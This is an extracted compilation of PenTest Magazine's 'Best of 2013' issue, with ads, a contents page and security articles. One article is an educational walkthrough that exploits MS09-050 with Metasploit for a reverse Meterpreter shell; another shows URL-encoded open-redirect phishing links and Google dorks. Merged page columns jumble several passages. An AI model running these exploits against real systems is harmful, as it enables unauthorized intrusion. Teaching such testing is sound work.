You are on page 1of 141

Cyber Security Auditing Software

Improve your
Firewall Auditing
As a penetration tester you have to be an expert in multiple
technologies. Typically you are auditing systems installed and
maintained by experienced people, often protective of their own
methods and technologies. On any particular assessment testers may
have to perform an analysis of Windows systems, UNIX systems, web
applications, databases, wireless networking and a variety of network
protocols and firewall devices. Any security issues identified within
those technologies will then have to be explained in a way that both
management and system maintainers can understand.
he network scanning phase of a
penetration assessment will quickly
identify a number of security
weaknesses and services running on the
scanned systems. This enables a tester to
quickly focus on potentially vulnerable
systems and services using a variety of tools
that are designed to probe and examine
them in more detail e.g. web service query
tools. However this is only part of the picture
and a more thorough analysis of most
systems will involve having administrative
access in order to examine in detail how
they have been configured. In the case of
firewalls, switches, routers and other
infrastructure devices this could mean
manually reviewing the configuration files
saved from a wide variety of devices.

Although various tools exist that can


examine some elements of a configuration,
the assessment would typically end up
being a largely manual process. Nipper
Studio is a tool that enables penetration
testers, and non-security professionals, to
quickly perform a detailed analysis of
network infrastructure devices. Nipper
Studio does this by examining the actual
configuration of the device, enabling a much
more comprehensive and precise audit than
a scanner could ever achieve.

www.titania.com
With Nipper Studio penetration testers can be experts in You can customize the audit policy for your customers
every device that the software supports, giving them the specific requirements (e.g. password policy), audit the
ability to identify device, version and configuration device to that policy and then create the report detailing
specific issues without having to manually reference the issues identified. The reports can include device
multiple sources of information. With support for around specific mitigation actions and be customized with your
100 firewalls, routers, switches and other infrastructure own companies styling. Each report can then be saved
devices, you can speed up the audit process without in a variety of formats for management of the issues.
compromising the detail. Why not see for yourself, evaluate for
free at titania.com

Ian has been working with leading global


organizations and government agencies to
help improve computer security for more
than a decade.
He has been accredited by CESG for his security and
team leading expertise for over 5 years. In 2009 Ian
Whiting founded Titania with the aim of producing
security auditing software products that can be used by
non-security specialists and provide the detailed
analysis that traditionally only an experienced
penetration tester could achieve. Today Titanias
products are used in over 40 countries by government
and military agencies, financial institutions,
telecommunications companies, national infrastructure
organizations and auditing companies, to help them
secure critical systems.

www.titania.com
Dear PenTest Readers!

T his time we would like to present to you The Best


of Pentest 2013!

This year, we have provided you with a lot of in-


teresting topics. Each of our issues contains many
amazing articles written by great professionals.

You didnt manage to read all of our issues? Noth-


Editor in Chief: Ewa Duranc
ewa.duranc@pentestmag.com
ing lost!
Managing Editor:
Milena Bobrowska
From each issue published in 2013, we chose one
milena.bobrowska@pentestmag.com article, and thus created TBO 2013! The most inter-
Editorial Advisory Board: Jeff Weaver, Rebecca Wynn esting information and only the current ...

Betatesters & Proofreaders: Steven Wierckx, David Jardin, But thats not all! We have also prepared some-
Phil Patrick, Gilles Lami, L.Motz, Amit Chugh, Robin Schroeder, thing special for you: 3 articles that have never been
Jeff Smith, Sagar Rahalkar, Horace Parks, Johan Snyman, Dan
Dieterle, Julian Esteves and others. published!

Special Thanks to the Beta testers and Proofreaders who They will be appearing in our magazine until Janu-
helped us with this issue. Without their assistance there would ary, but we give you the opportunity to read the most
not be a PenTest magazine.
interesting ones now! Secure Coding, Cloud Pentest-
Senior Consultant/Publisher: Pawel Marciniak ing, Analyze and Report. Interested? Open and find
CEO: Ewa Dudzic something for yourself!
ewa.dudzic@pentestmag.com

Production Director: Andrzej Kuca Have a nice reading!


andrzej.kuca@pentestmag.com

DTP: Ireneusz Pogroszewski Milena Bobrowska and PenTest Team


Art Director: Ireneusz Pogroszewski
ireneusz.pogroszewski@pentestmag.com

Publisher: Hakin9 Media Sp. z o.o. SK


02-682 Warszawa, ul. Bokserska 1
Phone: 1 917 338 3631
www.pentestmag.com

Whilst every effort has been made to ensure the high quality of
the magazine, the editors make no warranty, express or implied,
concerning the results of content usage.
All trade marks presented in the magazine were used only for
informative purposes.

All rights to trade marks presented in the magazine are


reserved by the companies which own them.

DISCLAIMER!
The techniques described in our articles may only
be used in private, local networks. The editors
hold no responsibility for misuse of the presented
techniques or consequent data loss.

TBO 03/2013 Page 4 http://pentestmag.com


CONTENTS

08PENETRATION TESTING THE


OPEN SOURCE AND MANUAL WAY
BY FADLI B. SIDEK
50In-Depth Review of the Kali
Linux: A Hackers Bliss
By Pranshu Bajpai
Demonstration of using open source tools to enumerate, scan, Kali Linux is a blessing for Penetration Testers worldwide.
research, and exploit a target machine without using commer- It addresses many of the shortcomings of its predecessor
cial scanners and pentesting tools, such as Core Impact, Im- Backtrack and is immensly popular with professional Hack-
munity Canvas, Qualys, and Nessus. ers. Here we discuss the (relatively) new Kali Linux in depth
and explore the qualities that make it different from Backtrack.

14A10 Last But Not Least


By Aleksandar Bratic
Open Web Application Security Project, as standard in web 54 How to Detect SQL Injection
Vulnerabilities in SOAP
security has 10 most frequent and dangerous threats. In this By Francesco Perna and Pietro Minniti
year owasp 10 was changed, baseline for changes was owasp SQL Injections are a well known topic in web application secu-
10 from 2010. The article presents the updated A10 list. rity. So, why another article about that? Because not all the SQL
injections are so obvious, and pentesters often look for them

16 Python for Coders and


Pentesters
only inside the web application GET/POST requests.

By Hitesh Choudhary
Python programming language was gift to Web world by Gui-
do van Ros-sum. Most of the time InfoSec evangelists need to
58Android
Platform
as a PenTesting

by Raheel Ahmad
write their Proof Of Concept [POC], we need to automate our There has been enough noise in the information security indus-
attacks or customize some of our tools and these tasks can try for generally talking about awareness in the area of mobile
create a lot of headaches. applications and devices. Industry leaders including McAfee,
OWASP, Core Security & Secforce etc. have been consulting to

18Content-Based Intrusion
Detection System
By Mark Sitkowski
deliver security assessment services in the corporate sector for
mobile applications and devices but there is now enough focus
on using Android as a Penetration Testing Platform.
In his article Mark Sitkowski shares his experience about deal-
ing with intrusion detection systems, difficulties in searching
for and choosing a perfect one and provides you with a few
hints on how to write your own.
62Framework
Android Vulnerability
Analysis with Mercury

by Patrik Fehrenbach

24Pentesting with Backtrack


By Mathieu Nayrolles, Mathieu
Schmitt, and Benot Delorme
Nowadays, users save more sensitive data on their smart-
phones than on their desktop pcs. This article will have a
close look on Android applications, how to analyze them and
Penetration testing, also known as Pentest, is a technique to what vulnerabilites could affect user data.
evaluate the security of computers and networks by perform-
ing imitating attacks from external and internal threats. The
pentesting process involves statical and dynamical analysis
of a system/network in order to reveal potential security is-
70Publishing
Privacy-Preserving Data

By Noman Mohammed and Benjamin C.


sues resulting from improper configurations, hardware/soft- M. Fung
ware flaws. These attacks should be executed from the point Privacy-preserving data publishing is an exciting research ar-
of view of potential attackers. ea. This article presents different technical proposals to the
demand of simultaneous information sharing and privacy pro-

44Top 5 Kali Linux Tools You


Absolutely Must Use
by Paul Alkema
tection. However, the problems of data privacy cannot be fully
solved only by technology.

Kali Linux is full of new features that its predecessor Back-


Track lacked. These features include many new penetration
testing tools, streamlined security updates, Debian compliant
78Smartphone a Win-Win Product
for Both Consumers and Sellers
By Rajiv Ranjan
packaged tools, installations that can be automated using pre- In a world where technology can be used for multiple ex-
seed files, seamless updates to future versions, multi-lingual changes, the use of mobile phones is no longer limited to sim-
support, and support for ARM hardware. ple voice communication functions.

TBO 03/2013 Page 5 http://pentestmag.com


82The Importance of End User
Security Training
by Terrance Stachowski
applications from hackers perspective reveal the pesky appli-
cations to the web that could be targeted by bad guys.

There is no question that todays business world is geared to-


wards, and reliant upon, information technology. As the busi-
ness world moves forward, heavily dependent upon IT solu-
104Understanding (the basics
of) industrial control
systems
tions for daily operations, the landscape, and way of doing by Jeroen Hirs
business is changing. IT end users are often considered the Industrial control systems are in the heart of the business con-
weakest link in a security program, and with the number of trolling critical processes, while increasingly being exposed to
end users outweighing the number of security professionals, cyber-attacks and thus requiring security measures. Signifi-
it is imperative they understand their role in security, and what cant overlap with traditional IT exists, but having a basic un-
they can do to help protect the organization. derstanding of how these industrial control systems work will
certainly improve your security assessment quality.

88May
Physical Penetration Testing
Your Locality and Environment
Be the Weakest Link 112Introduction
Linux
to Unix and

by Rob Somerville By Nitin Kanoija


Sun Tzu, the Chinese general, strategist, and philosopher, stat- What is UNIX/LINUX? Who should use it? What problems you
ed all war is deception. While much emphasis is placed on may encounter while working with it and what to do so as to
technological security solutions such as firewalls within the IT escape most common difficulties on your way to mastering
sector, often the area of physical security is sorely neglected. those operating systems skills our expert Nitin Kanoija will
Within corporate culture, the demarcation lines are frequent- provide you with answers for those and many other FAQs.
ly blurred and when an incident takes place there is the usu-
al finger pointing, allocation of blame and knee-jerk reactions. BONUS
The old adage a little prevention is worth a lot of cure springs
to mind here, yet sadly this important concept is frequently ig-
nored across departments, especially in large organisations.
116

Analyze and Report A
Denial of Service Primer
via Sockstress
By Roger Coon, Angela Hoffman,

92 Vulnerability Assessment
and Management: Integrated
Approach
Charles Chapman and Timothy Hoffman
Effective. Efficient. Lean and Mean. These words can all be
used to describe Sockstress: a type of Denial of Service at-
By Muhammad Saleem tack that zeroes right in via TCP to wreak havoc on large or
Vulnerability Assessment and Management is the core com- small systems.
ponent of any security program. In modern approach, to han-
dle latest security challenges and zero day attacks, we have
to think like hackers think, our approach to handle vulnerabili-
ties should be based on hackers look into vulnerabilities.
122Secure Coding in C# .NET
by Gilad Ofir
As all of us programmers go day by day, writing more and
more code, improving whats already written and developing

94Metasploit All You Need to


Hack into an Internal
Network
new and improved code, we devote our time and effort to writ-
ing software that will do the work for us and for our customers.
As the industry relays on speed and efficiency, we put great
By Blackbox effort in optimizing performance, creating eye-appealing and
Lets assume, you have installed Kali Linux and have access stylish GUI, and use state-of-the-art technology to attract as
to a virtual lab or have express permission from your com- many buyers for our products...
panys IT manager to test your internal network. Whats next?

100 Pentesters Suitcase:


Everything You Need to
134Pentest Amazon Cloud
Instances Like a Pro
by Anthony Siravo
Keep Web Applications Safe If you are like most seasoned penetration testers, you have
by Atul Tiwari noticed that most companies are moving everything to the
Front facing web segments are always the target of malicious cloud. Yes, it saves executives the funds by taking advantage
hackers. This article explains about how to save web applica- of scale and efficiencies, but how does it affect you?
tions by using various tools and techniques. Pentesting web

TBO 03/2013 Page 6 http://pentestmag.com


In the field of IT security consulting and You are looking for more than just a new
penetration testing we are the market working environment?
leader in Germany. At SySS, you have the possibility to give
SySS, established in 1998, advises your passion room in an experienced but
numerous companies in a national young and still expanding team.
and international context. When you are facing difficulties you say
A large number of satisfied customers, bring it on! and start being creative to
live hacking events as well as fairs solve the situation? And above all, you
have established our role as a have team spirit? Excellent, because
demanded IT company. currently we need people in the
The following are major areas of SySS: following areas of our company in
Penetration Testing Tbingen/Germany:
Trainings Penetration-Testing
Live Hacking IT Forensics
IT Forensics

SySS. The PenTest Experts.


SySS GmbH Wohlboldstrasse 8 72072 Tbingen GERMANY
Phone +49 (0) 7071 407856-0 www.syss.de
Penetration Testing
The Open Source and Manual Way

In this article, I will demonstrate how to use open source tools to


enumerate, scan, research, and exploit a target machine without
using commercial scanners and pentesting tools, such as Core
Impact, Immunity Canvas, Qualys, and Nessus. It is also important
to note that this articles objective is to inform and educate
pentesters/ethical hackers that using commercial scanning/
attacking tools are not the only way to perform a proper ethical
hacking engagement. While using commercial tools do speed
things up, sometimes, the manual method will provide you with a
better understanding of what iss happening.

A
s the number of demands for penetration test- matic (point and click) is fast, it might provide false
ing engagements gets higher, so do the de- positives, and while the manual way (researching
mand for technical abilities. Clients who en- and testing item by item) can consume more time, it
gaged pentesters may also question the tools, the might be more reliable. Depending on the time con-
methodologies, the techniques, and the processes straints and the number of systems involved, pen-
used when pentesting their systems. During meet- testers have to find a way to balance both methods
ings, clients may want to ask whether the tools used in order to fulfill the requirements.
are automatic or manual. There might also be clients
who prefer pentesters to perform a manual labor The Hackers Methodology
rather than just simply point and click. Of course, both The Methodology
methods have their good and bad sides. While auto- Here, we will get through 4 phases from the Hack-
ing Methodology (Figure 1) and one phase, which
we added, called Research

Footprinting,
Scanning,
Enumeration,
Research,
Exploitation/Gaining Access.

Footprinting Phase
Footprinting is the phase of gathering information
Figure 1. The Hackers methodology about computer systems and the companies they

TBO 03/2013 Page 8 http://pentestmag.com


belong to. The purpose of footprinting is to learn
as much as you can about a system, to gather
email addresses, contact numbers, IP addresses,
WHOIS information, hostnames, etc. In order to
perform a successful hack on a system, it is best to
know as much as you can, if not everything, about
that system. While there are many companies that
do not have specialized security employees, ma-
ny are now willing to hire ethical hackers to help
secure their systems. The information gathered
through footprinting can be used to attack a sys-
tem or to protect it.

Black Box Pentest


Footprinting is an essential part of a Black Box
penetration testing engagement. Pentester has to
gather as much information as possible to create
a mind map of the organization. Since no informa-
tion is given by the client organizations, it is the
first and the foremost important part to explore
and get whatever information related to the target
organization.

Gray Box Pentest


In a Gray Box penetration testing engagement,
much of the information, such as the IP address,
hostname and other basic details, is already pro-
vided on the kick off meeting with the client dur-
ing the discussion about the SOW (Scope of
Work) and by questionnaires about the infrastruc-
ture and the security/network architecture of the
organization.

Scanning Phase
Scanning is the technique an attacker perform be-
fore penetrating the network. During this phase
specific vulnerabilities are to be identified and
more juicy information is to be gathered relying on
the details compiled during the footprinting stage.
As a result of the scanning phase, an attacker
can retrieve critical information, such as mapping
of systems, network devices, list of services and
open ports. All these information will then be used
for the later phase: Exploitation.

Using Nmap to determine if the Host is Alive


First, before we start to scan or engage our pentest
on the targeted host, we need to ensure that the
targeted host is up. Normally and typically, we use
the Ping utility to determine if the host is up with an
ICMP ECHO reply. But there are also times when
ICMP and Ping requests are being blocked by the
firewall. In this situation, we would use Nmap to

TBO 03/2013
find out whether the host is really up or down. We --osscan-guess: Perform OS scan and guessing
issue a Nmap command with the sn switch. more intrusively.

#nmap sn <target host> Note, always to use the switch n and Pn when
scanning through a huge bunch of IP addresses
On Figure 2, we can see that, although our Ping as using the switches will speed things up.
requests are being blocked, Nmap shows that the On Figure 3, we can see the output of the scan
host is up. result. It provides us with:

Using Nmap to determine juicy information List of Open Ports;


We have confirmed that the host is up. Now, we will List of Services running;
need to find out its running ports. Typically, we use List of Versions;
Nmap to get the list of open/closed/filtered ports by The OS used.
executing the #nmap <target host> but this infor-
mation is not enough as it only shows us the list of Research Phase
ports and services running in the targeted host. We During this phase we will learn much more about
will need something better: the ports/services/ver- the vulnerabilities, services, open ports and the
sions/OS running on the targeted host. To do that, type of exploitation associated to the vulnerabili-
we will use the following command: ties. The phase normally requires manual tech-
niques as well. One of the many platforms to rely
#nmap n Pn sV O -osscanguess <target host> on when researching on a specific subject, is the
Internet or simply Google it. During the research
Explanation: phase, one is expected to learn and understand
deeper the vulnerabilities found and to see their
-n: Do not perform DNS resolution; good, bad, and/or ugly side.
-Pn: Treat the host as online (since we have veri-
fied this previously); Research against the internet to determine
-sV: Do a version of the services scan; possible vulnerability
-O: Do a scan to determine what operating system Now that we found the open ports, services run-
the host is using; ning, and the versions running, we can manually
do a research on the Web to determine wheth-
er there is any vulnerability on the versions of
the services. In this scenario, we shall concen-
trate on the DNS service, version Microsoft DNS
6.0.0.6001. A Google search for Microsoft DNS
6.0.0.6001 vulnerabilities showed many results
Figure 2. Performing a Ping Scan using Nmap (Figure 4).

Figure 3. The output of the Nmap scan showing the services, Figure 4. Researching the vulnerabilities manually on the
versions and the OS details Internet

TBO 03/2013 Page 10 http://pentestmag.com


In this scenario, we shall use the vulnerability msf> use exploit/windows/smb/
MS09-050 (Figure 5) and cross reference the vul- ms09_050_smb2_negotiate_func_index (Figure 8 [1])
nerability in the Microsoft website.
Then we will choose which payload we are going to
Using Metasploit to check if exploit is available use for this exploit. In this scenario, we want to get
Now that we confirmed there is a vulnerability a meterpreter session on the target machine; hence
MS09-050 for the Microsoft DNS 6.0.0.6001 ver- we will choose reverse _ tcp as the payload;
sion, it is time to fire up Metasploit to determine if
an exploit is available. In BackTrack or Kali Linux, msf>set PAYLOAD windows/meterpreter/reverse_tcp
run the following command: (Figure 8 [2])

#msfconsole To view more options:

In the console, run: Msf > show options (Figure 8 [3])

#msfconsole > search ms09_050 By default, the exploit uses RPORT (remote port)
445 of the Victims machine and LPORT (local
We will see that there are modules associated port) 4444 of the Attackers machine.
with MS09-050 and its description (Figure 6). We will then set the target by inputting the IP ad-
dress information in the RHOST field (Figure 9):
Using metasploit to check the information on the
exploit msf>set RHOST <target host>
To get more information on the module, run:
Then we set our/attacking machine as the LHOST
#msfconsole > info exploit/windows/smb/ (Figure 9):
ms09_050_smb2_negotiate_func_index
msf>set LHOST <our attacking machine IP>
This will show what kind of targets we can per-
form this exploit on, as well as a brief description Gaining Shell access (Gaining Access Phase)
of the module (Figure 7). So, when we execute >exploit and if exploitation
is successful, we will be able to get a meterpreter
Using Metasploit to set the exploit
(Exploitation Phase)
Now it is time for us to exploit the target host with the
information we gathered so far. On the metasploit
console, we will use the exploit ms09_050_smb2_
negotiate_func_index

Figure 5. A valid vulnerability MS09-050

Figure 6. Searching for the module ms09_050 to confirm if Figure 7. The ouput when checking for more information of
it is available in Metasploit the exploit module

TBO 03/2013 Page 11 http://pentestmag.com


session (Figure 10). This means, we are able to
get the shell of the targeted host. Now imagine the On the Web
things you can do with this. http://nmap.org/ Nmap
http://www.metasploit.com/ Metasploit
http://www.backtrack-linux.org/ BackTrack Linux
How the exploit works http://www.kali.org/ Kali Linux
When we are executing it, we are injecting the me- http://www.imdb.com/title/tt0086567/ Wargames
terpreter server DLL via the Reflective DLL Injec- http://www.coresecurity.com/core-impact-pro Core
tion payload and connecting ourselves back to the Impact
attacker by the default LPORT 4444. The module http://www.immunityinc.com/products-canvas.shtml
Immunity Canvas
ms09_050_smb2_negotiate_func_index exploits an
http://www.qualys.com/ Qualys
out of bounds function table dereference in the http://www.tenable.com/products/nessus Nessus
SMB request validation code of the SRV2.sys driv-
er included in the affected operating systems.
We shall stop here as we already have access to upon as it will give you and your company a bad
the targeted hosts shell. Depending on the SOW reputation.
(Scope of work) of the engagement, some clients
may want to see what possible things can be done/ Summary
access when an attacker gain access to the sys- In conclusion, while using commercial and auto-
tem but there are also other clients who simply mated tools allow the shown above task to be a
want to stop there. Again, it is important to know matter of minutes or hours, it is important to note
the SOW of the engagement. DO NOT attempt to that performing the research and exploitation man-
modify/view/change/edit things that are not agreed ually will provide us with a deeper sense of under-
standing of what is going on and a greater feel-
ing of satisfaction. And for all to-be ethical hackers
and pentesters who wants to learn the way of the
hack, it is better and recommended to start off us-
ing open source and manual tools before jumping
to commercial ones. And remember, do it ethically!

Fadli B. Sidek
Graduated with a BSc Degree in Cy-
ber Forensics, Information Security
Management and Business Informa-
tion Systems, Fadli is a security pro-
fessional at BT Global Services, a com-
pany that offers specialized IT secu-
Figure 8. Setting up the attack config before the exploit rity services to customers worldwide.
He has over 7 years in the IT industry, dealing with op-
erations, support, engineering, consulting, and current-
ly, as ethical hacker, performing vulnerability assess-
ment and services penetration testing in domains such
Figure 9. Setting the target machine and attacking machine as Network Assessments, Wireless Assessments, Social
Engineering, Perimeter Device Assessment, and Web
App Assessments through Open Source and commer-
cial tools based on methodologies from OWASP and OS-
STMM. Fadli has also conducted trainings and speaking
at seminars on the information security for both the pri-
vate and government sectors. In his free time, Fadli con-
ducts security research and regularly update his blog fo-
Figure 10. The exploit in action. Meterpreter session is cusing on IT security http://securityg33k.blogspot.sg
created providing us a shell session of the victims machine Personal Blog

TBO 03/2013 Page 12 http://pentestmag.com


A10 Last
But Not Least
Open Web Application Security Project, as standard in web
security has 10 most frequent and dangerous threats. In this
year owasp 10 was changed, baseline for changes was owasp
10 from 2010.

S
hortly: what is new in the list? Well... Risks tographic Storage and A9 Insufficient Transport
A2(Broken Authentication and Session Layer Protection. It cover protection of data from the
Management) and A3 (Cross-Site Scripting moment when data is send by user and stored in
(XSS)), mostly because Broken Authentication be- application, and send back to user browser. A9 Us-
come more exploited and matter of vendor protec- ing Known Vulnerable Components was previous in
tion, there is more and more authentication solu- A6 Security Misconfiguration, but as level of usage
tion on the market, where Cross-Site Scripting is of known vulnerable component increased.
more complicated to prevent. In this article I will describe how to test web applica-
Cross-Site Request Forgery (CSRF) moved from tion against A10 Unvalidated Redirects and Forwards,
A5 to A8, mostly because authors of list considered OWASP defines it : Web applications frequently redi-
that it is on the list more than 6 years and that de- rect and forward users to other pages and websites,
veloper focused enough to it. A8 Failure to Restrict and use untrusted data to determine the destination
URL Access, has changed to A7 Missing Function pages. Without proper validation, attackers can redi-
Level Access Control with motivation to cover all rect victims to phishing or malware sites, or use for-
function of access control. A6 Sensitive Data Expo- wards to access unauthorized pages.
sure was created from two risks A7 Insecure Cryp- It is one of most popular attack vector to attack
financial institutions and their transaction systems,
like e-banking. It means that an attacker can trick
Table 1. The updated owasp A10 list
A1 Injection user who think that access your web application to
A2 Broken Authentication and Session Management visit malicious content. Even experienced users can
A3 Cross-Site Scripting (XSS) be tricked with this, in phishing attacks they see only
A4 Insecure Direct Object References friendly link or attacker cover it with URL encoding.
A5 Security Misconfiguration
A6 Sensitive Data Exposure How it works
A7 Missing Function Level Access Control
A8 Cross-Site Request Forgery (CSRF) One of the methods is to trick user by phishing mail
A9 Using Known Vulnerable Components with nesting attacker URL in legitimate URL
A10 Unvalidated Redirects and Forwards
http://gooddomain.com/redirect/html?q=

TBO 03/2013 Page 14 http://pentestmag.com


How to find A10 vulnerabilities
Listing 1. Finding A10 vulnerabilities One preferable method is to use simple script to
find status response from server, or curl can be
curl --write-out "%{http_code}\n" --silent very useful for this (See Listing 1).
--output /dev/null "$URL"
and in this example: Remediation
curl --write-out "%{http_code}\n" --silent To secure your application from A 10 risk, if is pos-
--output /dev/null "http://gooddomain.com /" sible, design the web application without URL redi-
or you can play with googledorks like this: rection parameters. In many cases it is not possible,
inurl:redirect.asp?url=. but keep in mind that if you must use URL redirect,
dont use parameters provided by user for calculat-
ing the destination. In case those destination pa-
and, as final, attacker could do URL encoding to rameters must be used, make sure that the user
hide destination can send only valid and authorized value. It is very
important to implement in way that that destination
http://gooddomain.com/redirect/html?q= parameters be a mapping value, and situation that
http://62%3A61%3A64%3A64%3A6f%3A6d%3A61%3A69%3A6e% it is part or URL should be avoided, so that server
3A2e%3A63%3A6f%3A6d/page.html side code translate this mapping to the target URL.
That is in short how to find and mitigate A10
The second type of attack is that the application OWASP 10 risk. It is important that when you im-
uses forwards and redirects to other parts of site plement your web application keep the risk in mind,
or application it is a long period of time on the list so risk really
exists. There is always someone who will exploit
http://gooddomain.com /search?q=user+search+keywo this vulnerability.
rds&url=

it can be in the system to track users as a affiliate Aleksandar Bratic


programs or statistic Aleksandar Bratic (CISSP), works as CI-
SO at financial institution in Serbia,
http://gooddomain.com /cs.html?url= has interests in penetration testing,
methodologies, techniques, risk mit-
other examples to A10 could be finded on proxy igations methods and countermea-
sites, login pages etc. sures.

a d v e r i s e m e n t
Python for Coders
and Pentesters
A word that needs no introduction for InfoSec coders

Python programming language was gift to Web world by Guido


van Rossum. Most of the time InfoSec evangelists need to write
their Proof Of Concept [POC], we need to automate our attacks
or customize some of our tools and these tasks can create a lot of
headaches.

T
he solution to these problems can be a sim- be a one word answer. I would suggest visiting
ple PY file. Easy to learn syntax and a huge http://www.python.org at least once.
set of third party libraries can simply solve
our problems and the best part is that python is Hardware/Software Requirements
open source. There are no hardware requirements for the inter-
preter of this language, although there are many
Target Audience software setups that you may prefer to play with.
I would like to welcome all the coders as well as A platform that I recommend most of the time is
pentesters. The welcome of coders seems to be Linux. But Windows platform will do as well. For
obvious but pentesters might be wondering about Linux users, you already are equipped with this
the reason why they are welcome. This is to en- weapon, just type python on your terminal. For
able new pentesters (particularly those who are not Windows you will need to install it manually.
considered as ninjas in coding) to learn the imple-
mentation of a various tools that are already creat- Understanding with a Real Case Study
ed. The best part is our favorite Operating System Example for Coders
(BackTrack) which is already enriched with scripts It would be very helpful for a coder to create a
written in this language. powerful web-spider with just a few lines of code.
Most of the time searching for online information
Scope about the client is painful and it would be helpful
Most of the time when I write, read or learn any for us if someone can automate this task for us.
language or technology, the very first question that Usually a few lines of code in PHP or in java can
arises in my mind is the Scope of the assets. With do it but with Python we can make it much more
my experience in Information Security, Python is easy (Listing 1).
one of the best languages for automation or for cre- Most of the code lovers will notice that the task of
ating our new tools. If you are interested in working finding links and descriptions about a web based
with Java, .net, Game Development, Web applica- application can be simplified by this fifteen line
tion development, Socket programming, scripting, script. Not only this, but also SQLmap can be add-
GUI and IT security programming, the Python can ed. Output from this script can be fed into SQLmap

TBO 03/2013 Page 16 http://pentestmag.com


so that all these links can be checked for SQL in- full of various useful python scripts that can be di-
jection vulnerability. rectly applied to our pentesting purpose.
One of the very useful aspects of any pentest-
Example for Pentesters ing starts with "Information gathering" but most of
Now, I would also like to discuss some examples the pentesters try to skip this step. I would high-
for pentester, too. BackTrack Operating System is ly recommend to spend most of your time on this
step. Let's make use of Python to speed up the
Listing 1. Web-spider code process. The script that I'll talk about is well known
as TheHarverster and is available in /pentest/
import urllib enumeration/theharvester directory of backtrack.
from bs4 import BeautifulSoup For the purpose of this article I am using Back-
def processURL(url): Track 5, revision 2 (Figure 1).
httpResp=urllib.urlopen(url) I would appreciate if you would like to open this
if httpResp.code==200: script and give it a try to understand it. But at this
print(url) point, I have done a quick example on my own
html=httpResp.read() website to demonstrate you, how easily we can
bs=BeautifulSoup(html, "lxml") gather details about any website using this script
links=bs.find_all('div', {'class' : (Figure 2).
'three-quarter'}) The command used in this script is:
title=links[0].find_all('div', {'class'
: 'link'}) ./theHarvester.py -d any-example-website.com
title=title[0].text.strip() -l 100 -b google
desc=links[0].find_all('a')
desc=desc[0].text.strip() There are many useful scripts in this OS and ma-
print('\tTitle: ' + title) ny are available on google search as well.
print('\tDescription: ' + desc)
print('\n\n') Path to go Further and Conclusion
All the things considered, I would like to state that
every pentester should have a little knowledge
about this great language. Backtrack Operation
System itself has got a few sets of python code di-
rectories in it, so it can be used for future editions.
Tools like dnsrecon, goofile, metagoofil are just a
few examples that can help us a lot.
Apart from these built in tools, you can import
third party libraries to perform a variety of tasks.
For the purpose of performing a forensics on an
android platform please visit: https://code.google.
com/p/androguard/. If you are used to write fuzzing
Figure 1. TheHarverster script programs you will need Python library that can be
downloaded from here: https://bitbucket.org/hay-
po/fusil/wiki/Home. This is just a start for a python
InfoSec coder, lots of DDOS attacks and wireless
battles can be won with weapon.

Hitesh Choudhary
Hitesh Choudhary is ethical hacker from India serving
free to Rajasthan police to handle cyber crimes as well
as pursuing his wireless research at M.I.T., California. He
has completed his RHCE, RHCSA, CEH and various other
security certifications. His recent work for the code soci-
Figure 2. TheHarverster script demonstration ety can be seen at www.EduacationTube.net.

TBO 03/2013 Page 17 http://pentestmag.com


Content-Based
Intrusion Detection
System
Nobody ever broke into a banks IT system by cracking a users
password. Its not cost-effective to waste computer time on
such a pursuit, for the sake of the few thousand dollars that
may, or may not be in the users account.

I
ts far more cost-effective to persuade the bank Easy, right? All you need to do is to buy a device
to let you have access to its database, via a which will alert you, as soon as it detects a hack at-
back door. Then, you have access to all of the tempt, and prevent it succeeding.
banks resources, for the expenditure of a mini- If, after a few weeks of searching on the internet,
mum of effort, and without even having to under- and talking to prospective suppliers, you find that
stand how the authentication system works. nothing on the market will do what you want, what
On the other side of fence, when your companys do you do?
product actually is that banks authentication sys- You write your own, of course...
tem, and which it describes as Uncrackable, you
have to expect this to be like a red rag to a bull, as Defining the problem
far as the worlds hackers are concerned. When we set up the infrastructure for our authenti-
Every day, dozens of them try to break the algo- cation servers website, we did all the right things.
rithm, but none ever succeed, so there is some ex- The only open port was port 80, there was no
cuse for the complacency which ensues. Howev- GET permission for cgi-bin, no POST permission
er, you soon notice that, for every front door attack, for htdocs, all other methods like MOVE, DELETE,
there are over a hundred attempts to totally bypass COPY etc were disabled, and there were no inter-
the authentication system, and get in via a back door. preted scripts, like those written in java, perl, shell
Now, after youve told the world that the authentica- or ruby.
tion system is uncrackable, it would be rather embar- The only HTML page was index.html, and the
rassing to find that the hackers had decided not to other sixty four pages were dynamically created
bother cracking it, but had broken into your authen- by the CGI - which was an executable, written in
tication server, instead, and hijacked your database. a compiled language. That way, if a hacker ran
You have no control over how the average bank, Wget on our site, hed have no additional clues as
securities trading company or whoever uses your to which page called which CGI, or what any of the
product, configures their online access server or HTML variables meant.
ATM machine, but you can lead by example, and Bulletproof.
make sure that your authentication server, at least, As far as it went, it certainly was. We had ma-
can be made hack-proof. ny connections each day, from the usual hopeful

TBO 03/2013 Page 18 http://pentestmag.com


hackers, who would try to get in by breaking the We decided to find an intrusion detection system
authentication algorithm, and from the old-timers which, everyone agreed, would solve our prob-
and incompetents, who would try buffer overflow, lem, and made a list of the functions we wanted
not having heard that that particular method didnt it to perform.
work on modern network applications. First, it had to be content-based, so it could iden-
Then, after a few months, things changed, as tify a hack attempt by the kind of thing the query
dozens of more determined hackers, with no life of was trying to do, which implied that such a system
their own, decided that they could combine distrib- would need a certain amount of intelligence.
uted denial of service attacks with hack attempts. Second, having identified the hack, it would need
We were inundated with hundreds of queries, each to remember the IP address, drop the connection,
designed to plant or exploit back doors, inject SQL and make sure that that IP address would never
or exploit vulnerabilities in every file whose name again be allowed to connect to our site.
ended in .php. Last, it would need to do all this in less than one
We dont use WordPress, cPanel, Joomla, cc- second. The attacks that we faced were not direct-
mail or any of the other traditionally exploited soft- ed from Mum and Dads Wintel PC, but from high-
ware packages, so we were immune to all of these end Unix servers in data centres. Having seen the
attacks, but it was extremely annoying to watch the speed at which our log monitor scrolled up the
server logs scrolling like a Las Vegas slot machine, screen when we were under attack, we then ex-
as every unimaginative hack script repeated the amined the access log, and noticed that the aver-
same dumb vector anything from two to four hun- age zombie hijacked server could shower us with
dred times. hack vectors at a minimum rate of two or three a
Also, it was eating up our network bandwidth, second and, sometimes, if theyd hacked a decent
and making the site respond less quickly than we machine, up to ten a second.
would have liked, and giving perverted pleasure to Our goal was to stop it after the first vector.
some hacker, who was watching hundreds of lines
of hack script execute. The search for the product
The last straw came, one day, when we were hit What we expected was, that we would make a
with a DDOS from an address in the Netherlands. quick list of suitable products, then spend a long
It started about 4am, and continued till 11am, dur- period of decision-making, choosing from many
